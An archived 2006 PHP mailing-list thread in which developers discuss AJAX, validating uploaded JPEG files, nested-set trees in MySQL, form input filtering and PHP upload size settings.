In-Reply-To: <008401c6afed$51e8d080$740aa8c0@MobileZ> References: <008401c6afed$51e8d080$740aa8c0@MobileZ> Message-ID: <44C61B57.4050408@secdat.com> Hans Zaunere wrote: >Kenneth Downs wrote on Tuesday, July 25, 2006 9:09 AM: > > cool. see you later then. >>We have had an opening in our schedule and will be able to attend >>today, but have not yet RSVP'd. >> >>The site says we had to do it by yesterday? Is this hard and fast? >> >> > >Nope - RSVP now, you'll be ok. > >H > > >_______________________________________________ >New York PHP Community Talk Mailing List >http://lists.nyphp.org/mailman/listinfo/talk > >NYPHPCon 2006 Presentations Online >http://www.nyphpcon.com > >Show Your Participation in New York PHP >http://www.nyphp.org/show_participation.php > > -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: ken.vcf Type: text/x-vcard Size: 186 bytes Desc: not available URL: From felix.shnir at gmail.com Tue Jul 25 10:50:19 2006 From: felix.shnir at gmail.com (Felix Shnir) Date: Tue, 25 Jul 2006 10:50:19 -0400 Subject: [nycphp-talk] A Case for an AJAX Aid In-Reply-To: <000001c6afe2$1d7e3d40$68e4a144@Rubicon> References: <000001c6afe2$1d7e3d40$68e4a144@Rubicon> Message-ID: spam... On 7/25/06, Peter Sawczynec wrote: > > Check this site: www.carmax.com and go do a search for a vehicle > E.g. this link searches around Tampa Florida: > http://www.carmax.com/dyn/search/quicksearch.aspx?z=33614&l=7105&d=&m=16 > > Choose Make, Model... etc. and watch the whole page disappear out from > under > > you and reload on every dropdown selection. Whoa. > > Wouldn't you say that an AJAX-like solution that only updated the > dropdowns > and/or divs > would make this already highly-effective interface even more slick. It > would. > > Join the EEP (Enhanced Experience Programming) movement. > Put an AJAX aid in every task that could use it. > Viva la AJAX. > > ---------------------- > > By the by, almost every used car for sale on this site comes with 5 or 10 > interior and > exterior pictures, so if your looking to buy and want to quickly sample > what > all kinds > of cars look like at all types of trim levels and colors and interior > options (without > going to 10 dealerships) you'll probably find it here. > > Warmest regards, > > Peter Sawczynec, > Technology Director > PSWebcode > _Design & Interface > _Ecommerce > _Database Management > ps at pswebcode.com > 718.796.1951 > www.pswebcode.com > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > -------------- next part -------------- An HTML attachment was scrubbed... URL: From ps at pswebcode.com Tue Jul 25 11:38:19 2006 From: ps at pswebcode.com (Peter Sawczynec) Date: Tue, 25 Jul 2006 11:38:19 -0400 Subject: [nycphp-talk] A Case for an AJAX Aid In-Reply-To: Message-ID: <000e01c6b000$5b427b50$68e4a144@Rubicon> S pearhead P HP Programmer A ncillary M essage... -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Felix Shnir Sent: Tuesday, July 25, 2006 10:50 AM To: NYPHP Talk Subject: Re: [nycphp-talk] A Case for an AJAX Aid spam... On 7/25/06, Peter Sawczynec wrote: Check this site: www.carmax.com and go do a search for a vehicle E.g. this link searches around Tampa Florida: http://www.carmax.com/dyn/search/quicksearch.aspx?z=33614 &l=7105&d=&m=16 Choose Make, Model... etc. and watch the whole page disappear out from under you and reload on every dropdown selection. Whoa. Wouldn't you say that an AJAX-like solution that only updated the dropdowns and/or divs would make this already highly-effective interface even more slick. It would. Join the EEP (Enhanced Experience Programming) movement. Put an AJAX aid in every task that could use it. Viva la AJAX. ---------------------- By the by, almost every used car for sale on this site comes with 5 or 10 interior and exterior pictures, so if your looking to buy and want to quickly sample what all kinds of cars look like at all types of trim levels and colors and interior options (without going to 10 dealerships) you'll probably find it here. Warmest regards, Peter Sawczynec, Technology Director PSWebcode _Design & Interface _Ecommerce _Database Management ps at pswebcode.com 718.796.1951 www.pswebcode.com _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk NYPHPCon 2006 Presentations Online http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php -------------- next part -------------- An HTML attachment was scrubbed... URL: From 1j0lkq002 at sneakemail.com Tue Jul 25 13:01:12 2006 From: 1j0lkq002 at sneakemail.com (inforequest) Date: Tue, 25 Jul 2006 10:01:12 -0700 Subject: [nycphp-talk] A Case for an AJAX Aid In-Reply-To: <000001c6afe2$1d7e3d40$68e4a144@Rubicon> References: <000001c6afe2$1d7e3d40$68e4a144@Rubicon> Message-ID: <2838-59078@sneakemail.com> "waiting for a.carmax.com........." That must have been sarcasm, not spam. Watching the whole page disappear and reload on every change to a drop down menu is not my idea of a fun day. I'd rather negotiate with a used car salesman than wait for this to "interact". Reminds me of a "quick trip to the department of motor vehicles". No thanky. -=john http://www.johnon.com Peter Sawczynec ps-at-pswebcode.com |nyphp dev/internal group use| wrote: >Check this site: www.carmax.com and go do a search for a vehicle >E.g. this link searches around Tampa Florida: >http://www.carmax.com/dyn/search/quicksearch.aspx?z=33614&l=7105&d=&m=16 > >Choose Make, Model... etc. and watch the whole page disappear out from under > >you and reload on every dropdown selection. Whoa. > >Wouldn't you say that an AJAX-like solution that only updated the dropdowns >and/or divs >would make this already highly-effective interface even more slick. It >would. > >Join the EEP (Enhanced Experience Programming) movement. >Put an AJAX aid in every task that could use it. >Viva la AJAX. > >---------------------- > >By the by, almost every used car for sale on this site comes with 5 or 10 >interior and >exterior pictures, so if your looking to buy and want to quickly sample what >all kinds >of cars look like at all types of trim levels and colors and interior >options (without >going to 10 dealerships) you'll probably find it here. > >Warmest regards, > > -- ------------------------------------------------------------- "Your time is limited, so don't waste it living someone else's life. Don't be trapped by dogma - which is living with the results of other people's thinking. Don't let the noise of other's opinions drown out your own inner voice. And most important, have the courage to follow your heart and intuition. They somehow already know what you truly want to become. Everything else is secondary." - Steve Jobs john andrews SEO http://www.seo-fun.com From daniela at ula.ve Wed Jul 26 11:37:08 2006 From: daniela at ula.ve (Daniela Gutierrez) Date: Wed, 26 Jul 2006 11:37:08 -0400 Subject: [nycphp-talk] uploaded files Message-ID: <44C78C24.6060409@ula.ve> Hi everybody! I would like to know how to verify that the files they had been uploaded by some user are j peg, because I only want them to upload images and I also want to be sure that they are not uploading some kind of malicious files. Is there any function or something like it that I could use?? Thanks, and sorry for my English ;) From rahmin at insite-out.com Wed Jul 26 12:23:49 2006 From: rahmin at insite-out.com (Rahmin Pavlovic) Date: Wed, 26 Jul 2006 12:23:49 -0400 Subject: [nycphp-talk] uploaded files In-Reply-To: <44C78C24.6060409@ula.ve> Message-ID: On 7/26/06 11:37 AM, "Daniela Gutierrez" wrote: > Hi everybody! > > I would like to know how to verify that the files they had been uploaded > by some user are j peg, because I only want them to upload images and I > also want to be sure that they are not uploading some kind of malicious > files. Is there any function or something like it that I could use?? > Thanks, and sorry for my English ;) You can check to see: if (stristr($_FILES['file_field']['name'],'.jpg')=='' && stristr($_FILES['file_field']['name'],'.jpeg')=='') { // not okay } else { // okay } That just checks for the existence of the file-extension in the filename (which you can tighten up), but I'm guessing you can do something similar to the following if you have a recent version of GD installed: if(!imagecreatefromjpeg($_FILES['file_field']['tmp_name'])) { // file doesn't appear to be a valid jpeg } From tedd at sperling.com Wed Jul 26 13:21:19 2006 From: tedd at sperling.com (tedd) Date: Wed, 26 Jul 2006 13:21:19 -0400 Subject: [nycphp-talk] uploaded files In-Reply-To: References: Message-ID: At 12:23 PM -0400 7/26/06, Rahmin Pavlovic wrote: >On 7/26/06 11:37 AM, "Daniela Gutierrez" wrote: > >> Hi everybody! >> >> I would like to know how to verify that the files they had been uploaded >> by some user are j peg, because I only want them to upload images and I > > also want to be sure that they are not uploading some kind of malicious > > files. > >if (stristr($_FILES['file_field']['name'],'.jpg')=='' && > stristr($_FILES['file_field']['name'],'.jpeg')=='') { > // not okay >} >else { > // okay >} > >That just checks for the existence of the file-extension in the filename >(which you can tighten up), but I'm guessing you can do something similar to >the following if you have a recent version of GD installed: > >if(!imagecreatefromjpeg($_FILES['file_field']['tmp_name'])) { > // file doesn't appear to be a valid jpeg >} In addition to that, you might resample the image to a different size, or convert to another format, or cut, or crop, or merge with another image (i.e., copyright). If it is malicious code, then that should cause the offending code some problems -- however -- I've never encountered any malicious code, it's just an idea. Furthermore, if you get the image size via: $imageArray = getimagesize("the.jpg"); and dump the array. print_r($imageArray); You will see several data that you could test for. I'm entertaining the same problem. hth's tedd -- ------- http://sperling.com http://ancientstones.com http://earthstones.com From daniela at ula.ve Wed Jul 26 15:01:04 2006 From: daniela at ula.ve (Daniela Gutierrez) Date: Wed, 26 Jul 2006 15:01:04 -0400 Subject: [nycphp-talk] uploaded files In-Reply-To: References: Message-ID: <44C7BBF0.7080007@ula.ve> Thanks to tedd and rahmin fro their answers, I'm gonna try to do what you advice me, i hope that will help me secure a little bit more my site. Thanks again tedd wrote: >At 12:23 PM -0400 7/26/06, Rahmin Pavlovic wrote: > > >>On 7/26/06 11:37 AM, "Daniela Gutierrez" wrote: >> >> >> >>> Hi everybody! >>> >>> I would like to know how to verify that the files they had been uploaded >>> by some user are j peg, because I only want them to upload images and I >>> >>> >> > also want to be sure that they are not uploading some kind of malicious >> > files. >> >>if (stristr($_FILES['file_field']['name'],'.jpg')=='' && >> stristr($_FILES['file_field']['name'],'.jpeg')=='') { >> // not okay >>} >>else { >> // okay >>} >> >>That just checks for the existence of the file-extension in the filename >>(which you can tighten up), but I'm guessing you can do something similar to >>the following if you have a recent version of GD installed: >> >>if(!imagecreatefromjpeg($_FILES['file_field']['tmp_name'])) { >> // file doesn't appear to be a valid jpeg >>} >> >> > >In addition to that, you might resample the image to a different >size, or convert to another format, or cut, or crop, or merge with >another image (i.e., copyright). If it is malicious code, then that >should cause the offending code some problems -- however -- I've >never encountered any malicious code, it's just an idea. > >Furthermore, if you get the image size via: > >$imageArray = getimagesize("the.jpg"); > >and dump the array. > >print_r($imageArray); > >You will see several data that you could test for. > >I'm entertaining the same problem. > >hth's > >tedd > > From lamolist at cyberxdesigns.com Wed Jul 26 16:12:56 2006 From: lamolist at cyberxdesigns.com (Hans Kaspersetz) Date: Wed, 26 Jul 2006 16:12:56 -0400 Subject: [nycphp-talk] NYPHP Presentations Updated Message-ID: <44C7CCC8.2080008@cyberxdesigns.com> I have posted the July presentation. Mitch did a great job. Audio will follow shortly. Also in the last week, I posted June, May and April. Titles: *Presenting... the New Joomla! 1.5 **An Introduction to PHP-GTK 2 Beyond Mashups: Situational Application Runtimes using PHP It's a Small World - Build Applications for It * Presentations can be found at: http://www.nyphp.org/content/presentations/index.php Thanks, Hans Kaspersetz Presentation Lacky, NYPHP http://www.nyphp.org http://www.cyberxdesigns.com From gatzby3jr at gmail.com Wed Jul 26 19:23:33 2006 From: gatzby3jr at gmail.com (Brian O'Connor) Date: Wed, 26 Jul 2006 19:23:33 -0400 Subject: [nycphp-talk] Building trees Message-ID: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com> Hello all, Right now I'm building a site that has a "tree" like structure, and right now in order to get the children I'm using a recursive function to get them all, works fine, but that strikes me as inefficient and I'm trying to find a way to get it with one query, rather than a variable amount of queries based on how many 'events' a user has. I looked through the archives of the list to find a thread exactly like this, but was in 2002 apparently before MySQL had subqueries (and apparently that's what you need; I'm not sure but that's what I gathered looking through the responses). I was wondering if anyone could help me out. Right now all the events are in a table called 'cal_events', each row has an id and a parent_id (among other things that I don't think are important for this). If you'd like to see the function I can certainly post that as well. All I do is get all the events that have a parent_id of 0 (top level), loop through them to get their children, and loop through them to get their children etc (in order), and indent them as needed on the display side. Thanks in advance for any ideas. -- Brian O'Connor -------------- next part -------------- An HTML attachment was scrubbed... URL: From rmarscher at beaffinitive.com Wed Jul 26 20:11:21 2006 From: rmarscher at beaffinitive.com (Rob Marscher) Date: Wed, 26 Jul 2006 20:11:21 -0400 Subject: [nycphp-talk] Building trees In-Reply-To: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com> References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com> Message-ID: <44C804A9.8020307@beaffinitive.com> Maybe try using a modified preorder tree. This article explains it in MySQL/PHP terms - . If you organize your tree that way, it will prevent the need for recusion. The only downside is it's more difficult to understand and requires more queries when adding new nodes because you have to update the numbering for the other nodes. But I recommend it. FYI, nyphp-mysql is a special list for MySQL related PHP topics - -Rob Brian O'Connor wrote: > Hello all, > > Right now I'm building a site that has a "tree" like structure, and > right now in order to get the children I'm using a recursive function to > get them all, works fine, but that strikes me as inefficient and I'm > trying to find a way to get it with one query, rather than a variable > amount of queries based on how many 'events' a user has. > > I looked through the archives of the list to find a thread exactly like > this, but was in 2002 apparently before MySQL had subqueries (and > apparently that's what you need; I'm not sure but that's what I gathered > looking through the responses). > > I was wondering if anyone could help me out. > > Right now all the events are in a table called 'cal_events', each row > has an id and a parent_id (among other things that I don't think are > important for this). If you'd like to see the function I can certainly > post that as well. > > All I do is get all the events that have a parent_id of 0 (top level), > loop through them to get their children, and loop through them to get > their children etc (in order), and indent them as needed on the display > side. > > Thanks in advance for any ideas. > > -- > Brian O'Connor > > > ------------------------------------------------------------------------ > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php From jim at bizcomputinginc.com Wed Jul 26 21:31:35 2006 From: jim at bizcomputinginc.com (Jim Hendricks) Date: Wed, 26 Jul 2006 21:31:35 -0400 Subject: [nycphp-talk] Building trees In-Reply-To: <44C804A9.8020307@beaffinitive.com> References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com> <44C804A9.8020307@beaffinitive.com> Message-ID: <44C81777.5000308@bizcomputinginc.com> I've got somewhere in my library of routines a set of routines for trees using nested subsets. It worked with mysql and if I recall correctly the queries were all simple enough without the need for subqueries. I also seem to recall Hans working on a nested subset lib and discussing it on this list. Jim Rob Marscher wrote: > Maybe try using a modified preorder tree. This article explains it in > MySQL/PHP terms - > . If you > organize your tree that way, it will prevent the need for recusion. The > only downside is it's more difficult to understand and requires more > queries when adding new nodes because you have to update the numbering > for the other nodes. But I recommend it. > > FYI, nyphp-mysql is a special list for MySQL related PHP topics - > > > -Rob > > > Brian O'Connor wrote: > >> Hello all, >> >> Right now I'm building a site that has a "tree" like structure, and >> right now in order to get the children I'm using a recursive function to >> get them all, works fine, but that strikes me as inefficient and I'm >> trying to find a way to get it with one query, rather than a variable >> amount of queries based on how many 'events' a user has. >> >> I looked through the archives of the list to find a thread exactly like >> this, but was in 2002 apparently before MySQL had subqueries (and >> apparently that's what you need; I'm not sure but that's what I gathered >> looking through the responses). >> >> I was wondering if anyone could help me out. >> >> Right now all the events are in a table called 'cal_events', each row >> has an id and a parent_id (among other things that I don't think are >> important for this). If you'd like to see the function I can certainly >> post that as well. >> >> All I do is get all the events that have a parent_id of 0 (top level), >> loop through them to get their children, and loop through them to get >> their children etc (in order), and indent them as needed on the display >> side. >> >> Thanks in advance for any ideas. >> >> -- >> Brian O'Connor >> >> >> ------------------------------------------------------------------------ >> >> _______________________________________________ >> New York PHP Community Talk Mailing List >> http://lists.nyphp.org/mailman/listinfo/talk >> >> NYPHPCon 2006 Presentations Online >> http://www.nyphpcon.com >> >> Show Your Participation in New York PHP >> http://www.nyphp.org/show_participation.php >> > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From jonbaer at jonbaer.com Wed Jul 26 21:50:41 2006 From: jonbaer at jonbaer.com (Jon Baer) Date: Wed, 26 Jul 2006 21:50:41 -0400 Subject: [nycphp-talk] Building trees In-Reply-To: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com> References: <29da5d150607261623t19e60a74nce86d4d394f6f895@mail.gmail.com> Message-ID: I beleive what you are looking to get into is nested sets ... http://www.edutech.ch/contribution/nstrees/index.php What you have sounds like you are on the right track ... There is also a PEAR package for doing NS w/ dbs: http://pear.php.net/package/DB_NestedSet - Jon On Jul 26, 2006, at 7:23 PM, Brian O'Connor wrote: > Hello all, > > Right now I'm building a site that has a "tree" like structure, and > right now in order to get the children I'm using a recursive > function to get them all, works fine, but that strikes me as > inefficient and I'm trying to find a way to get it with one query, > rather than a variable amount of queries based on how many 'events' > a user has. > > I looked through the archives of the list to find a thread exactly > like this, but was in 2002 apparently before MySQL had subqueries > (and apparently that's what you need; I'm not sure but that's what > I gathered looking through the responses). > > I was wondering if anyone could help me out. > > Right now all the events are in a table called 'cal_events', each > row has an id and a parent_id (among other things that I don't > think are important for this). If you'd like to see the function I > can certainly post that as well. > > All I do is get all the events that have a parent_id of 0 (top > level), loop through them to get their children, and loop through > them to get their children etc (in order), and indent them as > needed on the display side. > > Thanks in advance for any ideas. > > -- > Brian O'Connor > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php From lists at zaunere.com Wed Jul 26 22:02:03 2006 From: lists at zaunere.com (Hans Zaunere) Date: Wed, 26 Jul 2006 22:02:03 -0400 Subject: [nycphp-talk] Building trees In-Reply-To: <44C81777.5000308@bizcomputinginc.com> Message-ID: <005101c6b120$bbd005c0$6c0aa8c0@MobileZ> Jim Hendricks wrote on Wednesday, July 26, 2006 9:32 PM: > I've got somewhere in my library of routines a set of routines for > trees using nested subsets. It worked with mysql and if I recall > correctly the queries were all simple enough without the need for > subqueries. I also seem to recall Hans working on a nested subset > lib and discussing it on this list. An NSM related presentation a while back: http://www.nyphp.org/content/presentations/nyphp/index.php?slide=2 Old school code: http://cvs.nyphp.org/cvsweb.cgi/clew/Attic/pnsm.pcom http://cvs.nyphp.org/cvsweb.cgi/clew/lib/ And search here: http://www.nyphp.org/google.php for things like 'nsm' for a lot of discussion. --- Hans Zaunere / President / New York PHP www.nyphp.org / www.nyphp.com From jonbaer at jonbaer.com Wed Jul 26 22:10:11 2006 From: jonbaer at jonbaer.com (Jon Baer) Date: Wed, 26 Jul 2006 22:10:11 -0400 Subject: [nycphp-talk] Script or method to "junk" a table(s)? Message-ID: <2932E305-26C7-44ED-A62E-AF075E077A50@jonbaer.com> Does anyone know of any easy script/way to junk a table? Im trying to think of a simple solution that while you are developing a schema/app to easily fill it with test data, not really something like fixtures in rails but something that can figure if you have varchar(x), char(x), int(x), blob, etc and fill it with -n rows. Does mysql have anything? Im sure something can be done w/ bash and mysqlimport + desc columns but cant think of route to take. Thanks. - Jon From cliff at pinestream.com Thu Jul 27 02:07:05 2006 From: cliff at pinestream.com (Cliff Hirsch) Date: Thu, 27 Jul 2006 02:07:05 -0400 Subject: [nycphp-talk] Building trees In-Reply-To: <44C804A9.8020307@beaffinitive.com> Message-ID: <001e01c6b142$e3ec2620$4e00000a@HirschLaptop> I use this structure and find it to be very effective for reads. Just remember to use InnoDB for updates as a crash during an update can corrupt the entire table structure. Also remember that it can be very inefficient for writes if you have a very large table and are manipulating nodes. -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Rob Marscher Sent: Wednesday, July 26, 2006 7:11 PM To: NYPHP Talk Subject: Re: [nycphp-talk] Building trees Maybe try using a modified preorder tree. This article explains it in MySQL/PHP terms - . If you organize your tree that way, it will prevent the need for recusion. The only downside is it's more difficult to understand and requires more queries when adding new nodes because you have to update the numbering for the other nodes. But I recommend it. FYI, nyphp-mysql is a special list for MySQL related PHP topics - -Rob From edwardpotter at gmail.com Thu Jul 27 02:11:08 2006 From: edwardpotter at gmail.com (edward potter) Date: Thu, 27 Jul 2006 02:11:08 -0400 Subject: [nycphp-talk] Building trees In-Reply-To: <001e01c6b142$e3ec2620$4e00000a@HirschLaptop> References: <44C804A9.8020307@beaffinitive.com> <001e01c6b142$e3ec2620$4e00000a@HirschLaptop> Message-ID: wait, I thought we were all done with this sql stuff, isn't everything supposed to be "tagged"? meaning : many steps in sql, 1 step in a tagging world to access your data. :-) ed On 7/27/06, Cliff Hirsch wrote: > I use this structure and find it to be very effective for reads. Just > remember to use InnoDB for updates as a crash during an update can > corrupt the entire table structure. Also remember that it can be very > inefficient for writes if you have a very large table and are > manipulating nodes. > > -----Original Message----- > From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] > On Behalf Of Rob Marscher > Sent: Wednesday, July 26, 2006 7:11 PM > To: NYPHP Talk > Subject: Re: [nycphp-talk] Building trees > > Maybe try using a modified preorder tree. This article explains it in > MySQL/PHP terms - > . If you > > organize your tree that way, it will prevent the need for recusion. The > > only downside is it's more difficult to understand and requires more > queries when adding new nodes because you have to update the numbering > for the other nodes. But I recommend it. > > FYI, nyphp-mysql is a special list for MySQL related PHP topics - > > > -Rob > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > > NYPHPCon 2006 Presentations Online > http://www.nyphpcon.com > > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > From agfische at email.smith.edu Thu Jul 27 11:40:25 2006 From: agfische at email.smith.edu (Aaron Fischer) Date: Thu, 27 Jul 2006 11:40:25 -0400 Subject: [nycphp-talk] Filtering form input Message-ID: <44C8DE69.1040106@email.smith.edu> Greetings listers, I'm working on some new forms and would like to make them more secure by filtering the input. I recently purchased and have at least partially digested Essential PHP Security by Chris Shiflett and The PHP Anthology by Harry Fuecks. Based on this material I can see two possible paths ahead. 1. Use the clean_array() approach and filter input data using PHP methods and/or regex expressions. 2. Install the Pear package HTML_QuickForm and use for validating (filtering) input data. I was leaning toward #1 but have very little experience with regex. It's probably implausible, particularly given time constraints, for me to attempt to build regex expressions for my form fields. Are there any resources online for regex expressions that people would recommend for filtering input? Secondly, in Chris's book I see ctype_alnum() and html_entities() as two methods recommended to use for filtering. Are there other PHP methods folks would recommend? I slogged through Pear and HTML_QuickForm a bit. I haven't worked with Pear packages yet and am in a shared hosting environment, so I'm currently attempting to see what, if anything, is enabled and/or installed for Pear on my server. Would appreciate any advice or recommendations for how to proceed with either method #1 or #2. At this point I would be satisfied with minimal improvements to security as it would be a step in the right direction and I can improve my filtering techniques during the next project. Thanks, -Aaron From dmintz at davidmintz.org Thu Jul 27 11:49:47 2006 From: dmintz at davidmintz.org (David Mintz) Date: Thu, 27 Jul 2006 11:49:47 -0400 (EDT) Subject: [nycphp-talk] Filtering form input In-Reply-To: <44C8DE69.1040106@email.smith.edu> References: <44C8DE69.1040106@email.smith.edu> Message-ID: On Thu, 27 Jul 2006, Aaron Fischer wrote: > > I slogged through Pear and HTML_QuickForm a bit. I haven't worked with > Pear packages yet and am in a shared hosting environment, so I'm > currently attempting to see what, if anything, is enabled and/or > installed for Pear on my server. > If you decide to go with QuickForm, you can almost certainly install whatever PEAR packages you need in you own personal directory on your shared server account. Check out http://pear.php.net/manual/en/installation.php --- David Mintz http://davidmintz.org/ Amendment IV The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized. From corey at bmfenterprises.com Thu Jul 27 11:57:44 2006 From: corey at bmfenterprises.com (Corey Fogarty) Date: Thu, 27 Jul 2006 11:57:44 -0400 Subject: [nycphp-talk] Uploading file size issues In-Reply-To: Message-ID: I use file uploaders often. Most recently I have been using it as a way for clients to upload Flash files as part of a database application. The .swf?s are usually 2-10mg and in some cases the browser sits and sits and apparently never really uploads the file. I looked all over for file size limitations on the type=file HTML form element but found nothing specific. Has anyone else experienced this? Is it a browser issue? Network speed issue? PHP issue? And if it is a known issue, is it better to fall back on FTP and a manual entry in the database? Thanks! Corey -------------- next part -------------- An HTML attachment was scrubbed... URL: From nelly at cgim.com Thu Jul 27 12:24:38 2006 From: nelly at cgim.com (Nelly Yusupova) Date: Thu, 27 Jul 2006 12:24:38 -0400 Subject: [nycphp-talk] Uploading file size issues In-Reply-To: Message-ID: <0b4401c6b199$27ffdc70$021919ac@D2Y4NP61> Hello Corey, I had the same problem with an upload script that I wrote. To fix the problem you will need to change the following settings in the php.ini file: upload_max_filesize, post_max_size, memory_limit, upload_tmp_dir, max_execution_time You can also use .htaccess file to change these settings. The .htaccess file will need to be created in the local directory where your script resides. My .htaccess contains the following entries: php_value upload_max_filesize 200M php_value post_max_size 200M php_value memory_limit 200M php_value upload_tmp_dir 200M php_value max_execution_time 50000 Hope this helps. Sincerely, Nelly Yusupova Webgrrls Technical Lead (http://www.webgrrls.com) Webgrrls NYC Chapter Leader (http://www.webgrrls.com/newyork_ny/) Founder of DigitalWoman.com (http://www.digitalwoman.com) email: nelly at digitalwoman.com cell: (917)- 603-9226 ---------------------------------------- DigitalWoman.com specializes in developing Internet strategies for businesses and helps them bring their businesses online. We offer full-service design, strategy, consulting, marketing and development to build innovative marketing solutions that extend our client's brands. Our website at http://www.digitalwoman.com details our experience and qualifications. ________________________________ From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Corey Fogarty Sent: Thursday, July 27, 2006 11:58 AM To: talk at lists.nyphp.org Subject: [nycphp-talk] Uploading file size issues I use file uploaders often. Most recently I have been using it as a way for clients to upload Flash files as part of a database application. The .swf's are usually 2-10mg and in some cases the browser sits and sits and apparently never really uploads the file. I looked all over for file size limitations on the type=file HTML form element but found nothing specific. Has anyone else experienced this? Is it a browser issue? Network speed issue? PHP issue? And if it is a known issue, is it better to fall back on FTP and a manual entry in the database? Thanks! Corey -------------- next part -------------- An HTML attachment was scrubbed... URL: From craig at juxtadigital.com Thu Jul 27 12:31:11 2006 From: craig at juxtadigital.com (Craig Thomas) Date: Thu, 27 Jul 2006 12:31:11 -0400 Subject: [nycphp-talk] Uploading file size issues In-Reply-To: References: Message-ID: <44C8EA4F.60006@juxtadigital.com> Corey Fogarty wrote: > I use file uploaders often. Most recently I have been using it as a way > for clients to upload Flash files as part of a database application. The > .swf?s are usually 2-10mg and in some cases the browser sits and sits > and apparently never really uploads the file. I looked all over for file > size limitations on the type=file HTML form element but found nothing > specific. They don't exist. Even controlling the look of the browse button is a pain. The type=file element has no ability to actually read info from the hard drive of the client [which is right, security wise]. The file is POSTED to the server and processed. > Has anyone else experienced this? Is it a browser issue? Network speed > issue? PHP issue? And if it is a known issue, is it better to fall back > on FTP and a manual entry in the database? PHP/Apache [web-server] issue. Lots of settings can affect this, but these two [in the .php file]: ini_set("memory_limit","20M"); ini_set("max_execution_time","60"); have solved the problem for me in the past [large jpgs]. In php.ini there is also a max_upload setting, and Apache can also limit the upload size. HTH, From andrew at plexpod.com Thu Jul 27 12:42:12 2006 From: andrew at plexpod.com (Andrew Yochum) Date: Thu, 27 Jul 2006 12:42:12 -0400 Subject: [nycphp-talk] Uploading file size issues In-Reply-To: <0b4401c6b199$27ffdc70$021919ac@D2Y4NP61> References: <0b4401c6b199$27ffdc70$021919ac@D2Y4NP61> Message-ID: <20060727164212.GQ23100@desario.homelinux.net> On Thu, Jul 27, 2006 at 12:24:38PM -0400, Nelly Yusupova wrote: > Hello Corey, > > I had the same problem with an upload script that I wrote. To fix the > problem you will need to change the following settings in the php.ini > file: > > upload_max_filesize, post_max_size, memory_limit, upload_tmp_dir, > max_execution_time > > You can also use .htaccess file to change these settings. The .htaccess > file will need to be created in the local directory where your script > resides. > > My .htaccess contains the following entries: > > php_value upload_max_filesize 200M > php_value post_max_size 200M > php_value memory_limit 200M > php_value upload_tmp_dir 200M > php_value max_execution_time 50000 > > Hope this helps. Nelly's input is spot on. Also be sure that apache's LimitRequestBody directive is unlimited (0) or set to an adequate value. That precedes PHP's ini values. HTH, Andrew -- Andrew Yochum Plexpod andrew at plexpod.com 718-360-0879 From cahoyos at us.ibm.com Thu Jul 27 13:03:36 2006 From: cahoyos at us.ibm.com (Carlos A Hoyos) Date: Thu, 27 Jul 2006 13:03:36 -0400 Subject: [nycphp-talk] Uploading file size issues In-Reply-To: <0b4401c6b199$27ffdc70$021919ac@D2Y4NP61> Message-ID: On Thu, Jul 27, 2006 at 12:24:38PM -0400, Nelly Yusupova wrote: > I had the same problem with an upload script that I wrote. To fix > the problem you will need to change the following settings in the > php.ini file: > upload_max_filesize, post_max_size, memory_limit, upload_tmp_dir, > max_execution_time To add to this point, always look at the error logs; php will generate an error or warning when it encounters a problem due to the above reasons. Carlos Hoyos From chsnyder at gmail.com Thu Jul 27 17:52:54 2006 From: chsnyder at gmail.com (csnyder) Date: Thu, 27 Jul 2006 17:52:54 -0400 Subject: [nycphp-talk] uploaded files In-Reply-To: <44C78C24.6060409@ula.ve> References: <44C78C24.6060409@ula.ve> Message-ID: On 7/26/06, Daniela Gutierrez wrote: > Hi everybody! > > I would like to know how to verify that the files they had been uploaded > by some user are j peg, because I only want them to upload images and I > also want to be sure that they are not uploading some kind of malicious > files. Is there any function or something like it that I could use?? > Thanks, and sorry for my English ;) To reiterate Tedd Sperling's advice, the best way to check whether an uploaded file is a jpeg is to use getimagesize() and check that index 2 of the returned array is equal to 2. (http://php.net/getimagesize for details) Checking the file extension will miss jpegs uploaded from a Macintosh (which might not have an extension). -- Chris Snyder http://chxo.com/ From Consult at CovenantEDesign.com Thu Jul 27 17:57:14 2006 From: Consult at CovenantEDesign.com (CED) Date: Thu, 27 Jul 2006 17:57:14 -0400 Subject: [nycphp-talk] Uploading file size issues References: <44C8EA4F.60006@juxtadigital.com> Message-ID: <008b01c6b1c7$a0cb63d0$0619a8c0@ced> 